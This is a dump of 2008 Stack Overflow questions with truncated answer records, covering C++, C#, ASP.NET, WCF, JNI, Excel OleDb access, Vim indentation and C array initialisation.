<p>Was reading up a bit on my C++, and found this article about RTTI (Runtime Type Identification): <a href="http://msdn.microsoft.com/en-us/library/70ky2y6k(VS.80).aspx" rel="nofollow noreferrer">http://msdn.microsoft.com/en-us/library/70ky2y6k(VS.80).aspx</a> . Well, that's another subject :) - However, I stumbled upon a weird saying in the <code>type_info</code>-class, namely about the <code>::name</code>-method. It says: "The <code>type_info::name</code> member function returns a <code>const char*</code> to a null-terminated string representing the human-readable name of the type. The memory pointed to is cached and should never be directly deallocated."</p> <p>How can you implement something like this yourself!? I've been struggling quite a bit with this exact problem often before, as I don't want to make a new <code>char</code>-array for the caller to delete, so I've stuck to <code>std::string</code> thus far.</p> <p>So, for the sake of simplicity, let's say I want to make a method that returns <code>"Hello World!"</code>, let's call it </p> <pre><code>const char *getHelloString() const; </code></pre> <p>Personally, I would make it somehow like this (Pseudo):</p> <pre><code>const char *getHelloString() const { char *returnVal = new char[13]; strcpy("HelloWorld!", returnVal); return returnVal } </code></pre> <p>.. But this would mean that the caller should do a <code>delete[]</code> on my return pointer :(</p> <p>Thx in advance</p>
[ { "answer_id": 200870, "author": "Greg Rogers", "author_id": 5963, "author_profile": "https://Stackoverflow.com/users/5963", "pm_score": 5, "selected": false, "text": "const char *getHelloString() const\n{\n return \"HelloWorld!\";\n}\n" }, { "answer_id": 200886, "author":...
2008/10/14
[ "https://Stackoverflow.com/questions/200857", "https://Stackoverflow.com", "https://Stackoverflow.com/users/25745/" ]
200,858
<p>I just noticed that you can do this in C#:</p> <pre><code>Unit myUnit = 5; </code></pre> <p>instead of having to do this:</p> <pre><code>Unit myUnit = new Unit(5); </code></pre> <p>Does anyone know how I can achieve this with my own structs? I had a look at the Unit struct with reflector and noticed the TypeConverter attribute was being used, but after I created a custom TypeConverter for my struct I still couldn't get the compiler to allow this convenient syntax.</p>
[ { "answer_id": 200881, "author": "Marc Gravell", "author_id": 23354, "author_profile": "https://Stackoverflow.com/users/23354", "pm_score": 6, "selected": true, "text": " public struct Unit\n { // the conversion operator...\n public static implicit operator Unit(int value)...
2008/10/14
[ "https://Stackoverflow.com/questions/200858", "https://Stackoverflow.com", "https://Stackoverflow.com/users/21966/" ]
200,863
<p>Trying to include ThickBox (from <a href="http://jquery.com/demo/thickbox/" rel="noreferrer">http://jquery.com/demo/thickbox/</a>) in an ASP.NET application.</p> <p>Visual Studio is failing when I try to run the application with the error: js\ThickBox\jquery-1.2.6.min.js(11): error CS1056: Unexpected character '$'</p> <p>Using Visual Studio 2008 and jquery 1.2.6</p>
[ { "answer_id": 20398941, "author": "Lucky", "author_id": 1799217, "author_profile": "https://Stackoverflow.com/users/1799217", "pm_score": 0, "selected": false, "text": "script type=\"text/javascript\" id=\"kk\" runat=\"server\" src=\"js/vendor/custom.modernizr.js\" \n" }, { "an...
2008/10/14
[ "https://Stackoverflow.com/questions/200863", "https://Stackoverflow.com", "https://Stackoverflow.com/users/450139/" ]
200,869
<p>I've been trying to call Page Methods from my own JavaScript code but it doesn't work. If I use jQuery AJAX I can sucessfully call the Page Methods, but I need to do this from my own JavaScript code because we can't use third-party libraries (we are building our own library).</p> <p>Whenever I use jQuery AJAX methods I get the result of the Page Method, and when I use my custom JS methods I get whole page back from the AJAX Request.</p> <p>There must be something different in the way jQuery handles AJAX requests. Does anyone know what could it be?</p> <p>Below is the code I use to call the same Page Method with jQuery, which works, and the code that I'm using to call it on my own.</p> <p><strong>jQuery</strong></p> <pre><code>// JScript File $(document).ready(function() { $("#search").click(function() { $.ajax({ type: "POST", url: "Account.aspx/GetData", data: "{}", contentType: "application/json; charset=utf-8", dataType: "json", success: function(msg) { // Substitui o conteúdo da DIV vom o retorno do Page Method. displayResult(msg); } }); }); }); </code></pre> <p><strong>Custom JS</strong></p> <pre><code>function getHTTPObject() { var xhr = false; if (window.XMLHttpRequest) { xhr = new XMLHttpRequest(); } else if (window.ActiveXObject) { try { xhr = new ActiveXObject("Msxml2.XMLHTTP"); } catch(e) { try { xhr = new ActiveXObject("Microsoft.XMLHTTP"); } catch(e) { xhr = false; } } } return xhr; } function prepareLinks() { var btn = document.getElementById("search"); btn.onclick = function() { var url = "Account.aspx/GetData" return !grabFile(url); } } function grabFile(file) { var request = getHTTPObject(); if (request) { displayLoading(document.getElementById("result")); request.onreadystatechange = function() { parseResponse(request); }; //Abre o SOCKET request.open("GET", file, true); //Envia a requisição request.send(null); return true; } else { return false; } } function parseResponse(request) { if (request.readyState == 4) { if (request.status == 200 || request.status == 304) { var details = document.getElementById("result"); details.innerHTML = request.responseText; fadeUp(details,255,255,153); } } } function addLoadEvent(func) { var oldonload = window.onload; if (typeof window.onload != 'function') { window.onload = func; } else { window.onload = function() { if (oldonload) { oldonload(); } func(); } } } addLoadEvent(prepareLinks); </code></pre> <p><strong>UPDATE:</strong> I've decided to accept Stevemegson's since his answer was the actual cause to my problem. But I'd like to share with yo a few alterantives I've found to this problem.</p> <p><em>Stevemegson's Answer</em>: All I had to do was to change to a POST request and set the request header to JSON,that solved my problem on requesting Page Methods, but now I'm haing a hard time on handling the Response (I'll say more about that on another question).</p> <p>Here's the right code to get this stuff:</p> <pre><code>print("function prepareLinks() { var list = document.getElementById("search"); list.onclick = function() { var url = "PMS.aspx/GetData" return !grabFile(url); } }"); print("function grabFile(file) { var request = getHTTPObject(); if (request) { //Evento levantado pelo Servidor a cada mudança de Estado na //requisição assíncrona request.onreadystatechange = function() { parseResponse(request); }; //USE POST request.open('POST', file, true); //SET REQUEST TO JSON request.setRequestHeader('Content-Type', 'application/json'); // SEND REQUISITION request.send(null) return true; } else { return false; } }"); </code></pre> <p><em>Brendan's Answer</em>: Through Brendan's answer I did a little research on the ICallBack Interface and the ICallBackEventHandler. To my surprise that's a way to develop aspx pages using Microsoft's implementation of AJAX Request's. This turns out to be a really interesting solution, since it dosen't require any JS Library to work out and it's inside .Net Framework and I believe that only a few people know about this stuff (at least those that are around me didn't know about it at all). If you wanna know more abou ICallBack check this <a href="http://msdn.microsoft.com/en-us/library/ms178208(VS.80).aspx" rel="nofollow noreferrer" title="How to Implement ICallBack and what&#39;s all about">link text</a> on MS or just copy and paste Brendan's answer.</p> <p><em>A Third Solution:</em> Another solution I found was to instead of creating ASPX pages to handle my server side code I would implement HTML pages and call ASHX files that would do the same thing but they would use less bandwith than an ASPX page. One great about this solution is that I maged to make it work with POST and GET requisitions. Below is the code.</p> <p>ASHX Code:</p> <pre><code>print("Imports System.Web Imports System.Web.Services Public Class CustomHandler Implements System.Web.IHttpHandler Sub ProcessRequest(ByVal context As HttpContext) Implements IHttpHandler.ProcessRequest context.Response.ContentType = "text/plain" Dim strBuilder As New System.Text.StringBuilder strBuilder.Append("&lt;p&gt;") strBuilder.Append("Your name is: ") strBuilder.Append("&lt;em&gt;") strBuilder.Append(context.Request.Form(0)) strBuilder.Append("&lt;/em&gt;") strBuilder.Append("&lt;/p&gt;") context.Response.Write(strBuilder.ToString) End Sub ReadOnly Property IsReusable() As Boolean Implements IHttpHandler.IsReusable Get Return False End Get End Property End Class"); </code></pre> <p>JavaScript File:</p> <pre><code>print("function prepareLinks() { var list = document.getElementById("search"); list.onclick = function() { var url = "CustomHandler.ashx" return !grabFile(url); } }"); print("function grabFile(file) { var request = getHTTPObject(); if (request) { request.onreadystatechange = function() { parseResponse(request); }; //VERSÃO do POST request.open('POST', file, true); request.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); request.send('name=Helton Valentini') return true; } else { return false; } }"); </code></pre> <p>With any of these three options we can make asynchronous calls without use JQuery, using our own Javacript or using the resources Microsoft embeeded on .Net Framework. </p> <p>I hope this helps our some of you.</p>
[ { "answer_id": 201208, "author": "Brendan Kendrick", "author_id": 13473, "author_profile": "https://Stackoverflow.com/users/13473", "pm_score": 2, "selected": false, "text": "Partial Public Class state\n Implements ICallbackEventHandler\n\n Private _callbackArg As String\n\n Pro...
2008/10/14
[ "https://Stackoverflow.com/questions/200869", "https://Stackoverflow.com", "https://Stackoverflow.com/users/27813/" ]
200,878
<p>Ok, let's see if I can make this make sense. </p> <p>I have a program written that parses an Excel file and it works just fine. I use the following to get into the file:</p> <pre><code>string FileToConvert = Server.MapPath(".") + "\\App_Data\\CP-ARFJN-FLAG.XLS"; string connectionString = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" + FileToConvert + ";Extended Properties=Excel 8.0;"; OleDbConnection connection = new OleDbConnection(connectionString); connection.Open(); //this next line assumes that the file is in default Excel format with Sheet1 as the first sheet name, adjust accordingly OleDbDataAdapter adapter = new OleDbDataAdapter("SELECT * FROM [CP-ARFJN-FLAG$]", connection); </code></pre> <p>and this works just fine. But when I try it on the actual file (it is supplied to me by another program) I get this error:</p> <pre><code>System.Data.OleDb.OleDbException: External table is not in the expected format. at System.Data.OleDb.OleDbConnectionInternal..ctor(OleDbConnectionString constr, OleDbConnection connection) at System.Data.OleDb.OleDbConnectionFactory.CreateConnection(DbConnectionOptions options, Object poolGroupProviderInfo, DbConnectionPool pool, DbConnection owningObject) at System.Data.ProviderBase.DbConnectionFactory.CreateNonPooledConnection(DbConnection owningConnection, DbConnectionPoolGroup poolGroup) at System.Data.ProviderBase.DbConnectionFactory.GetConnection(DbConnection owningConnection) at System.Data.ProviderBase.DbConnectionClosed.OpenConnection(DbConnection outerConnection, DbConnectionFactory connectionFactory) at System.Data.OleDb.OleDbConnection.Open() at wetglobe.Page_Load(Object sender, EventArgs e) </code></pre> <p>BUT, this is where I think the problem lies. If I take that file, and save it with my local Excel, first I get this popup:</p> <blockquote> <p>CP-ARFJN-FLAG.XLS may contain features that are not compatible with Text (Tab delimited). Do you want to keep the workbook in this format?</p> <ul> <li>To Keep this format, which leaves out any incompatible features, click Yes.</li> <li>To preserve the features, click No. Ten save a copy in the latest Excel format.</li> <li>To see what might be lost, click Help.</li> </ul> </blockquote> <p>If I click No and then save it as the current Excel format, the program will then work fine.</p> <p>So I am assuming this is saved in some crazy old Excel format?</p> <p>I suppose my questions would be:</p> <ul> <li>How can I tell what Excel version saved this?</li> <li>How can I parse it in its current state?</li> <li>-or- Can I programatically save it as a newer version?</li> </ul> <p>I hope that is clear... Thank you.</p>
[ { "answer_id": 61722978, "author": "4EverBalaji", "author_id": 13515359, "author_profile": "https://Stackoverflow.com/users/13515359", "pm_score": -1, "selected": false, "text": "[OleDbException] External table is not in the expected format. at System.Data.OleDb.OleDbConnectionInternal...
2008/10/14
[ "https://Stackoverflow.com/questions/200878", "https://Stackoverflow.com", "https://Stackoverflow.com/users/14777/" ]
200,887
<p>I'm working on a system were a user can edit existing objects ("Filter" domain objects to be exact) through a GUI. As a UI hint, we only want to enable the save button if the user really modified something to the object. I was wondering if anyone had any experience with this problem and what the best way would be to approach this.</p> <p>I was thinking about adding an isDirty() flag to the domain object. When a user starts editing a Filter, I would then make a copy, pass it to the GUI and let the user make modifications to the copy. A binding on the isDirty() flag would then enabled/disable the save button. On saving, the differences would then be merged into the original object and persisted.</p> <p>Additionaly, I was thinking what would happen if a user undos the changes he made to an object. The isDirty() flag should then return false. So I guess the only way to achieve this is to keep the original value of each property inside the domain object.</p> <p>Any ideas?</p>
[ { "answer_id": 202573, "author": "Adrian", "author_id": 11304, "author_profile": "https://Stackoverflow.com/users/11304", "pm_score": 2, "selected": false, "text": "public class Person : INotifyPropertyChanged, IEditableObject\n{\n private bool isDirty;\n\n public bool IsDirty\n ...
2008/10/14
[ "https://Stackoverflow.com/questions/200887", "https://Stackoverflow.com", "https://Stackoverflow.com/users/17255/" ]
200,890
<p>SUMMARY: When browsing an ASP.NET website using Windows Explorer, popup windows do not "borrow" the session cookie from the parent window.</p> <p>DETAILS:</p> <p>I'm working on an ASP.NET website (.NET 2.0). I use FormsAuthentication. It is a requirement to use cookies to handle the session.</p> <p>On a page I have a button. When the user clicks it, a popup window is opened. The popup displays an ASPX page that uses session variables, previously set from the parent browser window. I've been testing the website using IE (6, 7, 8) and Firefox 2.0. On all these browsers, the popup window has access to the same session as the parent browser window and everything works ok.</p> <p>I now have a bug raised by the client, stating that the popup window displays an error. Looking at the log file, I can see that it is a NullReferenceException at the moment the popup page tries to access the session variables. Talking with the client, he said that he opened the main website in Windows Explorer !!!</p> <p>I've managed to recreate the issue on a test machine and saw that the popup is using a new session.</p> <p>The machine must have Win XP an IE6 installed ! With IE7 the website works ok.</p>
[ { "answer_id": 202573, "author": "Adrian", "author_id": 11304, "author_profile": "https://Stackoverflow.com/users/11304", "pm_score": 2, "selected": false, "text": "public class Person : INotifyPropertyChanged, IEditableObject\n{\n private bool isDirty;\n\n public bool IsDirty\n ...
2008/10/14
[ "https://Stackoverflow.com/questions/200890", "https://Stackoverflow.com", "https://Stackoverflow.com/users/27819/" ]
200,894
<p>We are trying to create some tests that reference an vendors custom grid. Unfortunatly QTP only recognises it as a WinObject which is quite useless. We need to be able to navigate the grid and change cell values, double click on a cell(without using X,Y co-ordinates) etc.</p> <p>Ideally we want to get QTP to understand that this object is a grid and treat it as one.</p> <p>Any help would be greatly appreciated.</p> <p>Thanks</p> <p>Jon</p>
[ { "answer_id": 201349, "author": "Tom E", "author_id": 9267, "author_profile": "https://Stackoverflow.com/users/9267", "pm_score": 1, "selected": false, "text": "WinObject(\"mygrid\").Object.CurRow = 1" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/200894", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
200,900
<p>I need to access some members marked internal that are declared in a third party assembly.</p> <p>I would like to return a value from a particular internal property in a class. Then I'd like to retrieve a value from a property on that returned value. However, these properties return types that are also internal and declared in this third party assembly.</p> <p>The examples of doing this I've seen are simple and just show returning int or bool. Can someone please give some example code that handles this more complex case?</p>
[ { "answer_id": 200991, "author": "Marc Gravell", "author_id": 23354, "author_profile": "https://Stackoverflow.com/users/23354", "pm_score": 3, "selected": true, "text": "sing System;\nusing System.Reflection;\npublic class Foo\n{\n public Foo() {Bar = new Bar { Name = \"abc\"};}\n ...
2008/10/14
[ "https://Stackoverflow.com/questions/200900", "https://Stackoverflow.com", "https://Stackoverflow.com/users/6651/" ]
200,901
<p>Is the WriteFile call properly synchronous, and can I delete the file written immediately after the call?</p>
[ { "answer_id": 201102, "author": "Keith Twombley", "author_id": 23866, "author_profile": "https://Stackoverflow.com/users/23866", "pm_score": 3, "selected": false, "text": "Response.WriteFile()" }, { "answer_id": 1726016, "author": "ypicasso", "author_id": 210033, "au...
2008/10/14
[ "https://Stackoverflow.com/questions/200901", "https://Stackoverflow.com", "https://Stackoverflow.com/users/8741/" ]
200,912
<p>Some files are uploaded with a reported MIME type:</p> <pre><code>image/x-citrix-pjpeg </code></pre> <p>They are valid jpeg files and I accept them as such.</p> <p>I was wondering however: why is the MIME type different?<br> Is there any difference in the format? or was this mimetype invented by some light bulb at citrix for no apparent reason?</p>
[ { "answer_id": 200963, "author": "ConroyP", "author_id": 2287, "author_profile": "https://Stackoverflow.com/users/2287", "pm_score": 3, "selected": false, "text": "image/x-citrix-pjpeg" }, { "answer_id": 646167, "author": "Jacco", "author_id": 22674, "author_profile":...
2008/10/14
[ "https://Stackoverflow.com/questions/200912", "https://Stackoverflow.com", "https://Stackoverflow.com/users/22674/" ]
200,924
<p>I'm subclassing a native window (the edit control of a combobox...)</p> <p>oldWndProc = SetWindowLong(HandleOfCbEditControl, GWL_WNDPROC, newWndProc);</p> <p>In my subclassing wndproc, I'll have code like this, right, but I can't figure out the syntax for calling the oldWndProc.</p> <pre><code> int MyWndProc(int Msg, int wParam, int lParam) { if (Msg.m == something I'm interested in...) { return something special } else { return result of call to oldWndProc &lt;&lt;&lt;&lt; What does this look like?*** } } </code></pre> <p>EDIT: The word "subclassing" in this question refers to the WIN32 API meaning, not C#. Subclassing here doesn't mean overriding the .NET base class behavior. It means telling WIN32 to call your function pointer instead of the windows current callback. It has nothing to do with inheritence in C#.</p>
[ { "answer_id": 201144, "author": "Martin Plante", "author_id": 4898, "author_profile": "https://Stackoverflow.com/users/4898", "pm_score": 1, "selected": false, "text": "[DllImport(\"user32\")]\nprivate static extern int CallWindowProc(IntPtr lpPrevWndFunc, IntPtr hWnd, int Msg, int wPar...
2008/10/14
[ "https://Stackoverflow.com/questions/200924", "https://Stackoverflow.com", "https://Stackoverflow.com/users/9328/" ]
200,925
<p>In CakePHP putting a querystring in the url doesn't cause it to be automatically parsed and split like it normally is when the controller is directly invoked. </p> <p>For example:</p> <pre><code>$this-&gt;testAction('/testing/post?company=utCompany', array('return' =&gt; 'vars')) ; </code></pre> <p>will result in:</p> <pre><code>[url] =&gt; /testing/post?company=utCompany </code></pre> <p>While invoking the url directly via the web browser results in:</p> <pre><code>[url] =&gt; Array ( [url] =&gt; testing/post [company] =&gt; utCompany ) </code></pre> <p>Without editing the CakePHP source, is there some way to have the querystring split when running unit tests?</p>
[ { "answer_id": 201120, "author": "Ryan Boucher", "author_id": 27818, "author_profile": "https://Stackoverflow.com/users/27818", "pm_score": 2, "selected": false, "text": "$data = array ('company' => 'utCompany') ;\n\n$result = $this->testAction('/testing/post', array\n(\n 'return' => ...
2008/10/14
[ "https://Stackoverflow.com/questions/200925", "https://Stackoverflow.com", "https://Stackoverflow.com/users/27818/" ]
200,932
<p>When indenting java code with annotations, vim insists on indenting like this:</p> <pre><code>@Test public void ... </code></pre> <p>I want the annotation to be in the same column as the method definition but I can't seem to find a way to tell vim to do that, except maybe using an indent expression but I'm not sure if I can use that together with regular cindent.</p> <p>edit: The filetype plugin was already turned on I just got a bit confused about indenting plugins. The accepted answer may be a bit hackish but works for me as well.</p>
[ { "answer_id": 211820, "author": "WMR", "author_id": 2844, "author_profile": "https://Stackoverflow.com/users/2844", "pm_score": 4, "selected": true, "text": "filetype plugin indent on" }, { "answer_id": 4414015, "author": "idbrii", "author_id": 79125, "author_profile...
2008/10/14
[ "https://Stackoverflow.com/questions/200932", "https://Stackoverflow.com", "https://Stackoverflow.com/users/10098/" ]
200,939
<p>I am using tinyMCE as my text editor on my site and i want to reformat the text before saving it to my database (changing the &amp;rsquo; tags into ' then in to &amp;#39;). I cannot find a simple way of doing this using tinyMCe and using htmlentities() changes everything including &lt;>. Any ideas?</p>
[ { "answer_id": 200949, "author": "Tomasz Tybulewicz", "author_id": 17405, "author_profile": "https://Stackoverflow.com/users/17405", "pm_score": 3, "selected": false, "text": "strip_tags($str, $allowed_tags)" }, { "answer_id": 201154, "author": "Marcus Downing", "author_i...
2008/10/14
[ "https://Stackoverflow.com/questions/200939", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
200,945
<p>I'm trying to run an ASP.NET 2.0 application on an XP machine. As far as I know, everything is configured correctly. However, I receive the following message:</p> <blockquote> <p>Server Application Unavailable</p> </blockquote> <p>And two events appear in the Application event log each time:</p> <blockquote> <p>aspnet_wp.exe (PID: 3352) stopped unexpectedly.</p> <p>Failed to execute the request because the ASP.NET process identity does not have read permissions to the global assembly cache. Error: 0x80070005 Access is denied.</p> </blockquote> <p>Previously, ASP.NET applications worked fine on this machine.</p> <p>I've tried the following steps, with no luck:</p> <ul> <li>I've granted read permissions on the site home directory to the ASPNET account</li> <li>I've reinstalled ASP.NET 2.0 using aspnet_regiis -i</li> <li>I've granted permissions to the ASPNET account using aspnet_regiis -ga &lt;my machine name&gt;\ASPNET</li> <li>I've granted read permissions to the GAC to the ASPNET account using CACLS %WINDIR%\assembly /e /t /p &lt;my machine name&gt;\ASPNET:R</li> <li>I've set the ASP.NET version for the site to 2.0 within IIS</li> </ul> <p>I'm not sure what else I can do!</p> <hr> <p>Using Process Monitor led me directly to the problem. Many thanks to Mun for the tip.</p> <p>It was quite an obscure issue: I had previously used the assembly binding log viewer (fuslogvw.exe) and set it to log all binds to disk using the custom path option. However, the ASPNET account did not have permissions to that custom path. So, reverting to using the default path resolved the issue. Granting read/write permissions on that custom path to the ASPNET account also works, as does disabling bind logging.</p>
[ { "answer_id": 9698424, "author": "PraveenVenu", "author_id": 581771, "author_profile": "https://Stackoverflow.com/users/581771", "pm_score": 1, "selected": false, "text": "aspnet_regiis -ga machinename\\ASPNET\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/200945", "https://Stackoverflow.com", "https://Stackoverflow.com/users/27824/" ]
200,960
<p>I have a need to find all of the writable storage devices attached to a given machine, <strong>whether or not</strong> they are mounted.</p> <p>The dopey way to do this would be to <em>try</em> every entry in <code>/dev</code> that corresponds to a writable devices (<code>hd* and sd*</code>)......</p> <p>Is there a better solution, or should I stick with this one?</p>
[ { "answer_id": 201000, "author": "Mihai Limbășan", "author_id": 14444, "author_profile": "https://Stackoverflow.com/users/14444", "pm_score": 3, "selected": false, "text": "ls /sys/block" }, { "answer_id": 201091, "author": "Steve Baker", "author_id": 13566, "author_p...
2008/10/14
[ "https://Stackoverflow.com/questions/200960", "https://Stackoverflow.com", "https://Stackoverflow.com/users/4418/" ]
200,966
<p>I have these two pieces of code, wich one is more readable?</p> <ol> <li><p>foreach</p> <pre><code>decimal technicalPremium = 0; foreach (Risk risk in risks) { technicalPremium = technicalPremium + risk.TechnicalPremium; } return technicalPremium; </code></pre></li> <li><p>linq</p> <pre><code>return risks.Sum(risk =&gt; risk.TechnicalPremium); </code></pre></li> </ol>
[ { "answer_id": 201165, "author": "Cristian Libardo", "author_id": 16526, "author_profile": "https://Stackoverflow.com/users/16526", "pm_score": 4, "selected": false, "text": "return risks.SumTechnicalPremium();\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/200966", "https://Stackoverflow.com", "https://Stackoverflow.com/users/12514/" ]
200,986
<p><em>Edit: <br>My problem is not a problem anymore: I have redo my performances tests and I have do a fatal stupid error: I had forget a x1000 to get seconds from milliseconds :/ Sorry for that guys.<br> For info: <br> - I do some 1900 updates per second from my PC to the DataBase server on local network.<br> - 3.200 updates per second if the programs is on same machine than DB.<br> - 3.500 updates per second from my PC on the DataBase server I do not re-create and re-open a new SQLConnection.<br> - 5.800 updates per second with a batch text. For my 10.000 rows, if it take 5 seconds, it is ok for my programs. Sorry to have worry you.</em></p> <p>Actually, I use a SQL stored prodedure to create a row in my database to avoid SQL-injection. In C# I have the following method:</p> <pre><code>public void InsertUser(string userCode) { using (SqlConnection sqlConnection = new SqlConnection(this.connectionString)) { SqlCommand sqlCommand = new SqlCommand("InsertUser", sqlConnection); sqlCommand.CommandType = System.Data.CommandType.StoredProcedure; sqlCommand.Parameters.Add(new SqlParameter("@UserCode", userCode)); sqlConnection.Open(); sqlCommand.ExecuteNonQuery();///0.2 seconds !ERROR HERE! 0.2ms here,NOT 0.2sec!!! } } </code></pre> <p>It woks great when i have one or two rows to insert. But if i need to create 1.000 users and 10.000 products and 5000 pets, it is not the best solution: I will loose a huge time in netwok transport.</p> <p>I believe, without checkin it, that I can use just a limited amount of callback. So I do not want to call 10.000 times: </p> <pre><code>sqlCommand.BeginExecuteNonQuery() </code></pre> <p>Another way will be to create a batch text, but there is a SQL-Injection risk (and it is ugly).</p> <p>Does there is a 'SqlCommandList' object that manage that in .Net? How do I do large writing in database? What the good patern for that?</p>
[ { "answer_id": 201002, "author": "Marc Gravell", "author_id": 23354, "author_profile": "https://Stackoverflow.com/users/23354", "pm_score": 2, "selected": false, "text": "SqlBulkCopy" }, { "answer_id": 201042, "author": "Joel Coehoorn", "author_id": 3043, "author_prof...
2008/10/14
[ "https://Stackoverflow.com/questions/200986", "https://Stackoverflow.com", "https://Stackoverflow.com/users/26071/" ]
201,004
<p>I have a WCF service running on the IIS with a ServiceHostFactory. It's running fine with the WSHttpBinding but because of the speed and everything being on the same network (no firewalls) i want to speed up things a bit using the NetTcpBinding instead.</p> <p>When i try to do that i get this error:</p> <blockquote> <p>Could not connect to net.tcp://zzz.xxx.yyy/MyService.svc. The connection attempt lasted for a time span of 00:00:01.0464395. TCP error code 10061: No connection could be made because the target machine actively refused it x.x.x.x:808.</p> </blockquote> <p>I'm using <code>SecurityMode.None</code> just to make sure that is not screwing me also i tried either of these on two different tries:</p> <pre><code>binding.Security.Message.ClientCredentialType = MessageCredentialType.None; binding.Security.Message.ClientCredentialType = TcpClientCredentialType.Windows;, </code></pre> <p>Also i should point out, that i'm pulling quite a lof of data from one of the service calls, so i also put these (both on the http and the tcp attempts - setting maxMessageSize to 1000000)</p> <pre><code>binding.MaxReceivedMessageSize = maxMessageSize; binding.ReaderQuotas.MaxArrayLength = maxMessageSize; </code></pre> <p>It should be pretty easy getting it to work, so what am I missing?</p> <p>UPDATE: I added the TCP port 808 to the website identity and tried again. Now i get this error:</p> <blockquote> <p>You have tried to create a channel to a service that does not support .Net Framing. It is possible that you are encountering an HTTP endpoint.</p> </blockquote>
[ { "answer_id": 9735829, "author": "Matt Roberts", "author_id": 24109, "author_profile": "https://Stackoverflow.com/users/24109", "pm_score": 4, "selected": false, "text": "c:\\windows\\system32\\inetsrv" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/201004", "https://Stackoverflow.com", "https://Stackoverflow.com/users/11619/" ]
201,023
<p>What alternatives do I have to implement a union query using hibernate? I know hibernate does not support union queries at the moment, right now the only way I see to make a union is to use a view table.</p> <p>The other option is to use plain jdbc, but this way I would loose all my example/criteria queries goodies, as well as the hibernate mapping validation that hibernate performs against the tables/columns.</p>
[ { "answer_id": 3940445, "author": "sfussenegger", "author_id": 178526, "author_profile": "https://Stackoverflow.com/users/178526", "pm_score": 6, "selected": false, "text": "id in (select id from ...) or id in (select id from ...)" }, { "answer_id": 30529912, "author": "Vijay...
2008/10/14
[ "https://Stackoverflow.com/questions/201023", "https://Stackoverflow.com", "https://Stackoverflow.com/users/22992/" ]
201,066
<p>I have deployed ASP.NET web site and ASP.NET web service on the same web server. Both of them require access to shared file. </p> <p>How to implement/share lock that supports single writers and multiple readers? If somebody reads, nobody can write, but all still can read. If somebody writes, nobody can read/write.</p>
[ { "answer_id": 201113, "author": "Bartek Szabat", "author_id": 23774, "author_profile": "https://Stackoverflow.com/users/23774", "pm_score": 3, "selected": true, "text": "System.IO.File.Open(\"path.txt\",System.IO.FileMode.OpenOrCreate,System.IO.FileAccess.ReadWrite,System.IO.FileShare.R...
2008/10/14
[ "https://Stackoverflow.com/questions/201066", "https://Stackoverflow.com", "https://Stackoverflow.com/users/2625/" ]
201,070
<p>I ran accross a CSR file (Certificate Signing Request) and I need to extract some information from it.</p> <p>There's a way to decode it using .NET Framework?</p>
[ { "answer_id": 353536, "author": "erickson", "author_id": 3474, "author_profile": "https://Stackoverflow.com/users/3474", "pm_score": 5, "selected": false, "text": "openssl req -text -in request.csr\n" }, { "answer_id": 9493878, "author": "Ε Г И І И О", "author_id": 68719...
2008/10/14
[ "https://Stackoverflow.com/questions/201070", "https://Stackoverflow.com", "https://Stackoverflow.com/users/7720/" ]
201,101
<p>I have a large array in <strong>C</strong> (not <strong>C++</strong> if that makes a difference). I want to initialize all members of the same value.</p> <p>I could swear I once knew a simple way to do this. I could use <code>memset()</code> in my case, but isn't there a way to do this that is built right into the C syntax?</p>
[ { "answer_id": 201116, "author": "aib", "author_id": 1088, "author_profile": "https://Stackoverflow.com/users/1088", "pm_score": 11, "selected": true, "text": "int myArray[10] = { 5, 5, 5, 5, 5, 5, 5, 5, 5, 5 };\n" }, { "answer_id": 201118, "author": "warren", "author_id"...
2008/10/14
[ "https://Stackoverflow.com/questions/201101", "https://Stackoverflow.com", "https://Stackoverflow.com/users/17693/" ]
201,141
<p>I am writing some JNI code in C that I wish to test using cunit. In order to call the JNI functions, I need to create a valid JNIEnv struct.</p> <p>Does anyone know if there is a mocking framework for such a purpose, or who can give me some pointers on how to create a mock JNIEnv struct myself?</p>
[ { "answer_id": 203250, "author": "Adam Mitz", "author_id": 2574, "author_profile": "https://Stackoverflow.com/users/2574", "pm_score": 3, "selected": true, "text": "#include \"jni.h\"\n#include <iostream>\n\njint JNICALL MockGetVersion(JNIEnv *)\n{\n return 23;\n}\n\nJNINativeInterface_...
2008/10/14
[ "https://Stackoverflow.com/questions/201141", "https://Stackoverflow.com", "https://Stackoverflow.com/users/7122/" ]
201,170
<p>I am currently looking for a way to be notified when a child is added to the visual or logical children.</p> <p>I am aware of the Visual::OnVisualChildrenChanged method, but it does not apply to me since I can't always inherit and override this function. I am looking for an event.</p> <p>So, is there a way for the owner of a FrameworkElement/Visual to be notified when a child is added?</p>
[ { "answer_id": 1114901, "author": "Kenan E. K.", "author_id": 133143, "author_profile": "https://Stackoverflow.com/users/133143", "pm_score": 1, "selected": false, "text": "public class ElementChildrenChangedEventArgs\n{\n public ElementChildrenChangedEventArgs(FrameworkElement parent...
2008/10/14
[ "https://Stackoverflow.com/questions/201170", "https://Stackoverflow.com", "https://Stackoverflow.com/users/12082/" ]
201,178
<p>I feel like a fool, but here goes:</p> <pre><code>public interface IHasErrorController{ ErrorController ErrorController { get; set; } } public class DSErrorController: ErrorController{yadi yadi ya} public class DSWebsiteController : Controller, IHasErrorController{ public DSErrorController ErrorController { get; set; } } </code></pre> <p>This gives me an error saying DSWebsiteController.ErrorController cannot implement IHasErrorController despite DSErrorController being inheritted from ErrorController.</p> <p>Also, suggestions for a better naming so that the type ErrorController and the field Errorcontroller don't look the same are welcome (naming is hard).</p>
[ { "answer_id": 201192, "author": "Marc Gravell", "author_id": 23354, "author_profile": "https://Stackoverflow.com/users/23354", "pm_score": 4, "selected": true, "text": "ErrorController IHasErrorControlloer.ErrorController {\n get {return this.ErrorController;}\n set {this.ErrorControl...
2008/10/14
[ "https://Stackoverflow.com/questions/201178", "https://Stackoverflow.com", "https://Stackoverflow.com/users/11333/" ]
201,183
